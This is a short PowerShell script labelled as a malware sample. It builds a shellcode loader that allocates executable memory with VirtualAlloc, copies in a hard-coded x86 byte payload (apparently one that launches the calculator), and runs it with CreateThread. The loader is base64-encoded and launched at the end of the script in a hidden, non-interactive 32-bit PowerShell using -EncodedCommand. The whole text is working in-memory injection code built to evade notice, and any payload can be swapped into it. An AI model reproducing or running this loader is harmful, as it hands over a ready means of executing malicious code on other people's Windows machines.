malware sample #2

function Generate-ShellcodeExec
{
$shellcode_string = @"
`$code = '[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';`$winFunc = Add-Type -memberDefinition `$code -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]`$sc64 = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00
;[Byte[]]`$sc = `$sc64;`$size = 0x1000;if (`$sc.Length -gt 0x1000) {`$size = `$sc.Length};`$x=`$winFunc::VirtualAlloc(0,0x1000,`$size,0x40);for (`$i=0;`$i -le (`$sc.Length-1);`$i++) {`$winFunc::memset([IntPtr](`$x.ToInt32()+`$i), `$sc[`$i], 1)};`$winFunc::CreateThread(0,0,`$x,0,0,0);for (;;) { Start-sleep 60 };
"@
$goat =  [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($shellcode_string)) 
write-output $goat
}

# our function for executing x86 shellcode
function Execute-x86
{
    if($env:PROCESSOR_ARCHITECTURE -eq "AMD64")
    {
        $powershellx86 = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell.exe"
		$cmd = "-noprofile -windowstyle hidden -noninteractive -EncodedCommand"
		$thegoat = Generate-ShellcodeExec
        iex "& $powershellx86 $cmd $thegoat"
		
    }
    else
    {
        $thegoat = Generate-ShellcodeExec
		$cmd = "-noprofile -windowstyle hidden -noninteractive -EncodedCommand"
		iex "& powershell $cmd $thegoat"
    }
}
Execute-x86